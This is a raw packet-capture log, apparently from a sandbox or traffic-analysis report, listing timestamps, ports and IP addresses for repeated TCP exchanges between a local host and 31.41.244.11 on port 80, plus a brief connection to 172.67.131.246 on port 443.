Dec 18, 2024 19:08:51.851689100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.854108095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.854959965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.854986906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.857194901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.857235909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.857404947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.858006954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.860418081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.860552073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.860580921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.861831903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.863573074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.863677979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.863742113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.864147902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.866794109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.866909027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.866970062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.870023966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.870124102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.870141029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.870353937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.873406887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.873420000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.873610020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.876348972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.876405954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.879566908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.879586935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.880063057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.882611990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.883248091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.884565115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.885858059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.886003017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.886044979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.886152029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.889091015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.889158010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.889161110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.889228106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.892139912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.892776012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.892818928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.893297911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.895507097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.895612001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.895921946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.896007061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.898565054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.898663044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.898943901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.901669025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.901701927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.901711941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.901774883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.901774883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.904887915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.904941082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.905400991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.907989025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.908035040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.908202887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.911251068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.911271095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.911498070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.914313078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.914426088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.914516926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.914783001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.917561054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.917654037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.917988062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.920686960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.921066999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.921735048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.923959017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.923979998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.924165010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.927017927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.927148104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.927190065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.927453041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.930272102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.930361986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.930449009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.933382034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.933465958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.933861017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.936542988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.936788082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.937005043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.937202930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.939712048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.940119028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.940150023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.940207005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.942908049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.943092108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.943111897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.943213940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.946055889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.946177006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.946245909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.949289083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.949304104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.949573040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.952464104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.952675104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.953144073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.953345060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.955635071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.955730915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.956276894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.959105015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.959117889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.959465027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.962177038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.962192059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.962311983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.965126038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.965260983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.965550900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.968440056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.968487978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.968708038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.971486092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.971575975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.971919060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.972161055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.974694014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.974875927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.975159883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.977859974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.978035927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.978478909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.980916023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.981268883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.981334925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.982451916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.984189987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.984278917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.984450102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.987288952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.987343073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.987385035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.988665104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.990478992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.990550995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.990643978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.993685961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.993946075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.994019032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.994079113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.996783972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.996934891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.996994972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.000288010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.000583887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.001015902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.003278971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.003293037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.006287098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.006315947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.006386042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.006707907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.006820917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.009470940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.009654045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.009676933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.012587070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.012693882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.013245106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.013829947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.015863895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.016074896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.016127110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.016127110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.019072056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.019164085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.019171953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.019285917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.022182941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.022298098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.022311926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.022511959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.025676012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.025687933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.026101112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.028682947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.028695107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.028887033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.031672955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.031872034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.031874895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.032001019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.034975052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.035105944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.035680056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.036231995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.038089991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.038176060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.038249016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.041264057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.041392088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.041506052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.044589043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.044667006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.044692993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.047544956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.047693014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.048027992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.048213959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.050724030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.050898075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.051048040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.053917885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.053971052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.054001093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.054313898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.057496071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.057595015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.057625055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.057662010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.062465906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.062478065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.062618017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.064078093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.064260006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.064285040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.066463947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.066698074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.067002058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.069806099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.070041895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.070071936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.072987080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.073016882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.073102951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.075248003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.076183081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.076518059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.078258038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.079329014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.079435110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.080195904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.082436085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.082554102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.083183050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.083260059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.085784912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.085796118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.085867882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.089047909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.089132071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.089181900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.089246035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.094851971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.094865084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.094964981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.095016003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.095112085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.095192909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.095257044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.097805977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.097985983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.098026991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.098058939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.099241018 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:52.100399971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.100436926 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:52.100583076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.100738049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.100749016 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:52.100775003 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:52.101042032 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:52.102317095 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:52.102317095 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:52.102410078 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:52.102571011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.102582932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.102638960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.102638960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.104644060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.104713917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.104788065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.104856014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.107367992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.107450008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.107769966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.107836962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.109838009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.109849930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.109956980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.112334013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.112436056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.112899065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.112972975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.114875078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.115108967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.115302086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.115376949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.117324114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.117397070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.117448092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.117511034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.120196104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.120290041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.120513916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.120579004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.122962952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.123040915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.123043060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.123106956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.125013113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.125097990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.125127077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.125272036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.127511978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.127588987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.127595901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.127652884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.130045891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.130126953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.130235910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.130424023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.132606983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.132698059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.132874012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.132940054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.135229111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.135349989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.135454893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.135454893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.137643099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.137722015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.137773991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.137833118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.140191078 CET	80	49739	31.41.244.11	192.168.2.5
